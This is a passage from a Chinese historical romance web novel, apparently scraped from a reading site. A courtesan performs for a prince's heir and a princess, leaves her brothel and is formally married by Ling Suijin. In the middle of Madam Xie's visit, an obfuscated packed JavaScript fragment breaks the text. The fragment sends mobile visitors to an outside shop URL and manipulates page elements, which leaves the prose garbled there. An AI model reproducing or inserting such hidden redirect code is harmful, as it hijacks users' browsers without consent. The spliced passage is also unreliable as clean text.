如果她想的是真的,那眼下她当然最好入晋王府避难,去凌家是下策,白恒一那儿则是下下策。 晋王这两年虽低调些,但在朝廷上仍可搅弄风云,若求得晋王出手,或许替父亲翻案比凌敬那儿还要更容易些,也更不用怕得罪了凌敬了。 铭竹长吁一口气,再次倒回床上。 梦想总是要有的。 她又想起凌岁津。 凌岁津那双澄澈明净,似落不进任何杂质的眼,真是生得好看。 仿佛全天下的君子,就该生有那样的眼。 她对不住他在先,若能去晋王府,也不必再纠缠于他,对他也好。 铭竹用力扯起被子蒙住脑袋,大声叹了口气。 算了,先补觉,否则眼下淡青要上更多粉去遮,有碍她“出淤泥而不染”的气质,不定就损了她在晋王世子前的初印象。 一觉睡过午,梦还是做了不少,好歹也真睡了,铭竹坐在铜镜前,气色恢复许多。 随便吃了些东西,又重新洗漱沐浴,焚香熏衣,描眉挽发,待王妈妈派人来问时,她携琴走出了房间。 这是她当花魁来首次出阁,心下免不了几分忐忑。 不过转念一想,若来人当真是晋王世子,其出身高贵,也从未听过风花雪月之事,想必是一位克己复礼的高门贵公子,不会太为难她。 铭竹戴上面纱,坐上软轿,在渐渐模糊的暮色中离开南浔阁。 行至半途,她悄撇开帘子瞧了眼,暗道不对,这并不是去晋王府的路,她也没问,只在心中记下方向,直到轿夫一停,轿子被稳稳放了下来。 铭竹打了帘子走出,已是夜幕降临。 无星无月,凉风呼啸,她听得耳畔波浪之声不断涨落,平阔的视野中,幽冥浮动,唯有一艘画舫灯光摇曳,缓缓驶来,好似天宫倒影。 原来是在沧江之畔。 一小厮为她带路,登上小船,上了画舫。 画舫拢共三层,一层烛火通明,莺莺燕燕聚集而坐,丝竹管弦欢声笑语不断,江风吹面,厚重黏腻的脂粉香沁入她鼻腔,又逸散在漫漫江心间。 她一进来,就有好几道视线落在她身上,惊艳的,不屑的,敌意的,又或只是好奇,不过靡靡之音始终未停。 铭竹镇定从容,跟随侍女从狭窄木梯上了二楼。 二楼置一敞厅,四面帷幔,皆在风中翻飞,视野也瞬间开阔起来,可望天边群山巍峨轮廓,烛光被琉璃罩着,风大也不晃动,映着入眼所见的金银玉器,灿灿辉煌,让人颇有置身仙宫,又生出“我欲乘风归去”之感。 铭竹主动揭下面纱,向主座二人行礼:“铭竹见过世子,郡主。” 主座上一男一女并肩而坐,男人约莫三十来岁,容貌英俊,气质沉稳,不苟言笑,那姑娘便是铭竹曾在南浔阁中见过的小郡主。 世子将目光投来,兴味盎然:“如此确信,你就不怕认错了?” 晋王并不止一个儿子,除世子外,还有三位,所以与郡主一同出现的,并不一定就是世子。 但这位世子年纪最长,举手投足间有久居上位的威严,何况晋王其他儿子既无爵位又无官职,又怎会公然拂凌敬面子,自然是世子可能最大。 不过铭竹不能直说。 谄媚之言固然中听,却也等于贬低了世子的其他兄弟。 于是她微笑着在自己大拇指上轻点示意。 世子下意识看向自己的白玉扳指,外围一圈用金丝嵌刻了一个篆体的“谦”,是他名字最后一个字。 他眉梢微挑,夜色朦胧,江风狂乱,隔着这般远的距离,他十分怀疑铭竹是真看清了还是信口雌黄。 不过她若真看清了,一眼就能认出个小篆,可见外面说的,南浔阁花魁的才女之名,倒也不假。 小郡主高兴道:“大哥,我说她很会认人,这下你信了吧?那天我脸都没露,她就一下看出我是个女子。” 世子笑着摇头,问铭竹:“听说你很会弹琴?连那对琴曲颇为挑剔的凌敬都为你踏足风月场。不如弹一曲来听。” 他此方说罢,一层的乐声便顿时一停,天地间唯余江上之清风,与船下之清波。 早有下人摆好琴案方凳,铭竹应声坐下,素手拨弦。 琴声一起便被郡主打断:“你怎么不问我们想听什么?” 铭竹起身道歉,称自己失礼疏忽。 她其实是故意不问,担心若对方不通乐理,连一个古曲名也答不上,岂不失了面子平白尴尬? 郡主见她道歉真诚,倒也没继续为难,让她自己选一首弹奏。 铭竹坐定,搭上琴弦,择了一曲《平沙落雁》。 曲调先是低沉浑厚,如孤雁掠空,又转为空灵清越,仿佛雁群盘旋。 她弹琴时神情安然,手指抹、勾、挑之间,行云流水,无丝毫晦涩凝顿之感,一时琴音袅袅,散入天地,与江风水浪共鸣。 待一曲终了,世子说了句:“是不错,赏。” 又转头对妹妹笑道:“你也该好好学琴,先生都气走三个了,你听听人家弹的,多讨人喜欢。” “我生来就讨人喜欢,何须学她们。” “行,你总有理。” 旁边有侍女给世子斟酒,世子漫不经心看了铭竹一眼:“你不是有话要找她说嘛,到里头去说吧。” 又转头吩咐:“让她们上来唱。” 铭竹微不可察地蹙了蹙眉,看来世子对她并不感兴趣,今晚真正 要见她的人是小郡主。 真是可惜。 她的魅力失效了。 待她进入船舱,郡主在一把椅子上坐下来,也不说话,就那样直勾勾地瞪着她看。 铭竹低头,轻声说了句“都是铭竹的错,请郡主息怒。” 郡主一愣,总算开了尊口。 “我还没说为着什么事呢,你怎么就先认错?” “不管是什么,既让郡主生气,一定是我的错。” 郡主抿了抿唇,见铭竹抱着琴柔柔弱弱站在烛光下,墨发拂动,裙裾翻飞,仿佛一缕青烟,风吹吹就散了,又想起上回铭竹用好喝的药哄她的事,一时气散去大半。 “你坐吧,我有话问你。” 铭竹颔首,坐在侧边,外面已响起淫词艳曲。 郡主皱起眉:“我问你,凌尚书的儿子凌岁津是不是去过南浔阁?” 铭竹心思急转,想了一万个托辞,又瞬间弃了。 以晋王府的能力,说不定已全知道了,她若撒谎被看出来,反而不是好事。 不待她细问,她主动将那晚的事叙述了遍,语气平静温和,没有诉说委屈,只在说完时垂眸落下一滴泪,倔强而清冷,如此情态,让人毫不怀疑她所言为真。 果然,郡主听罢怒气冲冲:“原来是这样,那凌敬却说是你勾引他儿子在先,才让他酿成大错,我说呢,男人的话不能信。” 她看了铭竹一眼,补充道:“除了我爹爹。” “除了我哥哥。” “还除了皇帝哥哥。” 铭竹:“……” 她有些想笑,只好拼命忍着。 小郡主尚在心直口快的年纪,比起那些城府一个比一个深的男人,铭竹在她面前很放松。 “管他什么探花郎,他既然不干净了,我就不要了,不过倒有个优点,还算诚实,没故意瞒着继续这桩婚事,真是好险好险。” 郡主拍着胸脯,一脸后怕。 “我听说,青楼的女人虽美,却有脏病,所以去过青楼的男人也有脏病,将来会全身溃烂,脸上长疮,手上流脓,可怕极了,我可不想那样。” 她走近看着铭竹那张漂亮的脸:“你也会吗?” 铭竹道:“……也许吧。” “你既这么可怜,我就不怪罪你了,听说凌尚书想要你给他儿子做妾,是吗?我哥哥有二十几个妾呢,隔几个月就要换,不过她们来自清白人家,是自愿的。” “只是我不明白,为什么要自甘堕落呢,嫁给普通百姓不好吗?难道像我嫂嫂说的那样,是贪图荣华富贵?” 铭竹一瞬有万语千言,却又在触及她目光时尽皆落了回去。 “不错,铭竹见多了达官显贵,心气太高。宁可入了侯门渊深似海,也不愿嫁与萧郎草草一生。” 外面莺啼燕语更大了,清晰漫了进来。 郡主看她眼神里的那点期盼和同情熄灭,失望道:“假如你说不愿做妾,我可替你做主,让你赎身的,凌家绝不敢逼迫你。” 铭竹起身行礼,坚定道:“我心甘情愿给凌公子做妾,绝无被迫之意。” 小郡主坐了回去,不再看她。 “原来你也这么爱慕虚荣,我还以为……我嫂嫂说得对,你们这种人都一样。” 19.亲事 铭竹并未在画舫上过夜,子时未到就被送回了南浔阁。 出阁不到天亮就被送回,对青楼女子来说,向来是意味着惹了主人家不快,要被妈妈讯问责骂,甚至体罚的。 铭竹身为花魁,妈妈会给几分薄面,不至于拿着藤条上来,却也堵在屋中,要将事情问个清楚明白。 下午接走铭竹的贵人是谁,南浔阁并不知道,来人只亮了官印,并未直接表明身份。 铭竹去而复返,自然也不能说。 她只告诉妈妈,客人并非对她不满,而是家中突然有事,不便留外人在,这才让她回来,若是对她恼怒,也不会用软轿客客气气地将她送回了。 妈妈对这话将信将疑,她知铭竹巧舌如簧,黑的能说成白的。 于是阴阳怪气道:“凌大人买了你的初夜,也不知你做了什么,竟将他们夫妻都得罪了,如今你应另位贵人的请不合规矩地出阁,又得罪了白大人,你佛大,我们南浔阁这座小庙哪还敢容你啊。” “我摸着良心说,这几年你确实也替我赚了些钱,你若想赎身,我就不另收你的,只望你早早收拾了离开,对外我自有说法。” “你也别说我赶你走,你年轻漂亮聪明又读过书,还有一身才艺,那么多王孙公子为你倾心,离了南浔阁,自然有更好去处,那些个大人的后院巴不得接你进去享福呢。” 这倒是真话,去南浔阁寻欢是狎妓,出了南浔阁可不是,故而讲究体面的达官显贵通常不会留宿南浔阁,而是会将人接到府上。 实在喜欢的,就替人赎了身,再买回去做妾,就更光明正大了。 买妓女做妾虽不算光彩,但顶多是被人背后说两句罢了,明面上却也不是大事。 只是进了门,做妾却也不是那么容易的,是福是祸,依旧是如人饮水。 铭竹在风月场中这些年,也不是没见过给人做妾后,又被转手卖回青楼的女子,身上的痕迹不堪入目。 王妈妈见她不说话,下了最后通牒。 “我再给你两日时间,你有本事联系白大人或者什么别的爷也好,若得垂怜叫人直接接回后宅,那也是份体面,阁里的姑娘个个都要羡慕你呢。” 铭竹倒不见得慌,笑了笑,说:“妈妈别急,您收留我这些年,我怎会给您添麻烦,上回郭夫人来,是为着凌大人要让我做妾一事生气,先前未定下来,不好与您说,估摸着也就这两日了。” 老鸨惊疑:“这么说,你没得罪凌家?” 铭竹不紧不慢地将碎发挽到耳后。 “哪儿能呢,我什么本事,妈妈还不知道?这些年见我的男人不知其数,有谁对我有过不满么?哪怕只为着见我一面,就一箱箱地送首饰衣裳来。” 王妈妈一想也是,铭竹聪颖,向来让她满意。 她走入南浔阁那日起,不哭不闹,不论学才艺还是话术,都比别人用心刻苦,且举一反三,领悟极快。她长得美而不妖,媚而不俗,添一分多,减一分少,又似乎天生就会洞悉人心,那份清冷孤傲才情是为了满足那些文人墨客的征服欲,而柔弱自怜巧言令色又能极大满足他们的自尊心。 无论什么样的男人合该拜倒在她的石榴裙下。 别说男人,即便是阁里的其他姑娘,嫉妒归嫉妒,也并无多少与她交恶的,甚至遇事还会先找她商量。 这样一个聪明人,怎会自寻死路地接连得罪朝廷两位高官。 她就晓得其中有蹊跷。 “那白大人呢?”她问。 铭竹低声:“妈妈,我只能悄悄透露,请我出阁之人与晋王府有关系,别的我不能说。” 晋王府。 老鸨心中一惊,立即闭嘴不谈。 这不是她能问的。 怪不得铭竹如此气定神闲,又三缄其口。 与权门打交道无疑刀尖起舞,富贵险中求。 送走妈妈后,铭竹才彻底松懈下来,发呆了会儿,去卸了钗环妆容,脱去外衣,拱到被子底下去。 还以为自己神佛附体心想事成呢,看来进王府才是天下最难的事,连个做妾的资格都没有。 好在今晚也不算一无所获,小郡主那边不闹,凌家才敢真的应凌岁津所求。 她还有条退路。 …… 对于铭竹出阁这事,来往的客人自然都瞒不过,纷纷暗中打听,却又打听不出个所以然来,只能乱猜,甚至赤梨等楼中姐妹也来问她。 铭竹知道那不是她们想问,是她们背后的恩客想问。 她可不会说。 不过她推测白恒一应该是知道与晋王府有关,故而也没问她那日失约的事,这两日更是没再露面。 铭竹落个清静。 只盼着凌岁津那边不要再闹什么,快些接她走才好。 她在南浔阁虽久,却没什么自己的东西,老鸨龟公这等商人唯利是图,自然也不许她带走太多,哪怕是客人赏的,也都属于南浔阁。 她一番游说之下,妈妈才肉疼地同意她带走一盒首饰作为傍身财物,除此之外,铭竹自己的东西,唯有一本药方笔记,一个平安符,几幅字画,一盆兰草,还有凌敬送的那把上好的琴。 焦灼等了三日,果然凌家来人接他。 既不是管家也不是丫头仆妇,却是凌岁津身边两个随身小厮,她都见过。 铭竹一见是他们,便知这桩事凌敬与郭夫人到底还是有气,不愿给她好脸,所以才是凌岁津亲自安排。 马车停在巷中,正听与正言对她态度还算尊敬,帮她将行李搬上了车,还不忘提醒一句。 “铭竹姑娘,你坐好了。” 马车刚要动,铭竹听见人叫,忙让他们停下,自己也跳下车。 小九哽咽着扑到她面前问:“铭竹姐,你走了我会想你的,以后还能见到你吗?” 铭竹叹了叹。 为人姬妾,不亚于奴仆,在那深宅大院,哪里有人身自由,岂能说见就见的。 她摸摸他的头发,柔声道:“只要活着,将来总能再见到的。” 再上车后,铭竹心情低落许多。 正言驾着马车,正听就坐在马车外主动和铭竹说话。 “铭竹姑娘,我们今儿不是去凌府,是去另一间宅子,不大,与凌府是半点比不上的,但你放心,我亲自赁下来的,还挑了两个机灵的丫鬟伺候你,里外也打扫得干净,委屈你先住着,等公子来接。” 铭竹感到意外,不知凌岁津想做什么。 难不成凌家厌她至极,容不得她住进凌府,故而才另置别院? 可这和养外室差不多,连妾都算不上。 但她也无甚置喙资格,赎了身后,更不自由。 她“嗯”了声,没有多问。 大约是以为她不愿说话,正听没继续开口。 在马车楞楞声中,驶过几条街,最终停在了一处僻静院落前。 门前两棵显目的柿子树,春日还未完全抽绿,光秃秃的,多添寂寥。 她推开院门,门上还残留着前年挂的桃符与对联,已褪了色,很是黯淡。 一进的院子的确不大,但很干净,一座正屋,两间厢房,西厢房前栽了棵枣树,枣树下一石桌石凳,石凳上靠着把扫帚。 两人将她行李搬进来,正听见她看着扫帚,眼疾手快地拿到屋角去了。 铭竹进屋,厅堂的桌上还有未及收拾的抹布,也被正听揣了去,讪道:“我兄弟俩刚打扫完,还未来得及收拾干净,姑娘天仙般的人物,想必不会和我们计较。” 铭竹轻笑。 不知凌岁津那样的品行,怎么配了两个油嘴滑舌的小厮。 正言扶着腰过来:“铭竹姑娘,下午我娘会领着两个新买的丫头来,你有什么吩咐尽情使唤就是,自己可别累着,想吃什么也跟我娘说,我家其实离这儿不远,就隔一条街。” 铭竹问:“你们是亲兄弟?” 他们摇头,说是堂兄弟,因家中贫苦,少时就到凌家干活,年纪小备受欺负,一次被公子瞧见了,怜惜他们,就让他们到卿月院去伺候笔墨,一晃好些年了。 正听道:“姑娘,我们公子虽是被人伺候着长大的,但房里没有年轻丫头,只有仆妇乳娘,去年乳娘身体不好,也放回家休养去了。” 原是凌岁津脾气太好,对下人亦是宽和,相貌才情更不必说,若有丫鬟在跟前,春心萌动的年纪,难保不生出别样的心思,想飞上枝头变凤凰,做出什么下流事来。 故而郭夫人为了保护儿子,也为了让他专心读书,房里是不放丫头的。 铭竹不知作何评价。 郭夫人千防万防,没想到让凌岁津栽她手里了,不气极才怪,她或许懊悔着,早知如此,不如早早给他安排了通房才好,起码知根知底。 没多久,正言的娘赵娘子就领着俩十五六岁的丫头,拎着饭菜来了,对她亦是客气尊敬,妙语连珠好话不断,几乎将她夸成神仙下凡。 铭竹礼貌应付几句,吃过饭,便回了屋休息。 她躺在床上心思百转,还是猜不透凌岁津这葫芦里到底卖的什么药。 这日傍晚,她正坐在枣树下翻看笔记,忽听门外有人敲门。 丫头机灵,不待她说就去了,隔门问了来人才开。 来的是位气质温婉的妇人,约莫三十来岁,衣着虽素,却能看出并不便宜,她发髻低挽,只插着两根青玉发簪,其中一根坠着流苏,随步轻摇,通身的书卷气。 谢氏也仔细打量着铭竹,这是她头回见这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17618172|205060||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 位将凌家闹得风风雨雨的青楼女子,暗暗惊叹其果真貌美动人。 凌岁津纵然君子品性,却也才十七岁,正是容易冲动的年纪,哪能抵挡得了这等尤物。 她朝她笑了下,吩咐人将带来的东西摆在枣树下的石桌上。 竟是一对用笼装着的活雁。 “铭竹姑娘,我是泽哥儿的姨娘,也是他请的媒人。” 她虽柔柔笑着,语气却颇有几分无奈,大有被磨了许久才不得已答应的意思。 而后她从袖中取出张庚帖放到桌上:“正巧你这儿有笔,那便写下你的姓名与生辰八字吧……你不必紧张,不过是走个过场,你与泽哥儿合不合他都认定了你,连老爷夫人也拿他无可奈何。” 铭竹并不紧张,但十分惊讶:“夫人是否弄错了,我只是凌公子的妾室,无须这些规矩。” 谢氏怔了怔,不知想起什么,眼中掠过一丝伤怀与羡慕,隐去后面色才恢复如常。 “看来你是低估了,他对你的心。” “泽哥儿来求我,与我说,他曾对你承诺明媒正娶,就绝不会失信,只是你这般聪明,当知以凌家门楣,绝不可能让你做正妻……那天我还是头一回从泽哥儿这么乖巧孝顺的孩子口中听到一番混账话。” “他说,是他要娶你,与旁人无关。”谢氏摇了摇头,叹道,“只是与老爷夫人闹成这样,他实在无法予你一场风光大婚,不过既是正娶,三书六礼定然齐全,你且放心。” 铭竹望向那张红色庚帖,震惊许久。 心口砰砰乱跳起来,像打着擂台。 谢氏道:“时候不早,我不能出来太久,你快些写了我带回去,或者你还有什么顾虑也可同我说。” 铭竹默然不语,她的确不知该说什么。 片刻后,她提笔飞快在红纸上一笔一划写下名姓八字,交还谢氏。 谢氏看了眼,字写得这样端正漂亮,可见也是读过书的,便对铭竹印象又上了几分。 只是她拿着那份庚帖,心中仍觉荒唐,青楼女子嫁与商人或平头百姓倒也罢了,竟嫁给世家嫡子做妻,古往今来都未必有之。 想不到,凌敬这样的人竟也能生出一个情种。 谢氏离去许久,铭竹还坐在院中出神。 暮色像翻倒的墨,洇湿了迤逦的晚霞,风一阵阵的,很是轻柔,吹得她头顶枣树绿叶摇曳,像是谁在耳畔低语。 她静静坐着,不动也不说话,两个丫头看着不敢擅自打扰,直到她主动起身,从朦胧夜色下走进点起烛火的正屋,裙裾与影子在风中轻盈款摆。 她温声笑:“好生喂一下那两只雁,等我出嫁,就放它们自由吧。” 纳采,问名,纳吉,纳征,请期。 古就有之的六礼虽被简化,却一样不少。 谢氏携她的庚帖离开,第二日便又上门,送来一对玉如意,同她说八字已送了龙华寺让大师看了,大吉大利。 之后几日几大箱的聘礼被陆续送来小院,堆满了东西厢房,与聘礼一齐送来的,还有聘书、礼书、迎书。 正听正言与他们一家人都为她忙得脚不沾地,将小院布置得像模像样,谢氏亦是来往频繁,除她外,凌家却是无一人露面,仿佛只将此当作凌岁津的一场玩闹。 谢氏与铭竹相处了几日,倒对她印象愈发不错,得知她父母双亡,还与她细细说了好些嫁人的事项。 请期那日,铭竹收到一套凤冠霞帔。 她试了试,有些大了。 谢氏与她说,时间紧,来不及做,只能将就买来一套,泽哥儿那套比她的还要更不合身。 铭竹笑了笑,倒有些好奇。 凌岁津虽少年气尚未褪尽,然已修长挺拔,清瘦却不单薄,外在极为亮眼。 至于内里……铭竹自然也见过。 当真是一块澄净美玉。 成亲之前双方依规矩不见面,凌岁津竟真严格遵守,直至亲迎,才终于轻轻叩门。 外头黄昏正好,霞光万道。 铭竹本由两个丫头陪着,盖着盖头,穿着嫁衣,在屋内等,当她听见敲门声后,却蓦然生出一股冲动,掀了盖头,快步穿过庭院,亲手将门打开。 门外没有花轿,只有一匹系着红绸的骏马。 凌岁津正牵着马儿,独自前来接她。 少年乌发金冠,一身大红婚服,像是穿上了漫天霞光,但那意气风发的清隽眉眼,竟比霞光还要璀璨,连铭竹一时都为之失神。 暮色一寸寸漫开,在二人相触的目光间缓缓流淌。 他有些紧张,朝铭竹笑:“铭竹姑娘,委屈你嫁我。” 铭竹望着他,主动牵起他手,笑意在眼底柔柔化开。 “凌公子,多谢你娶我。”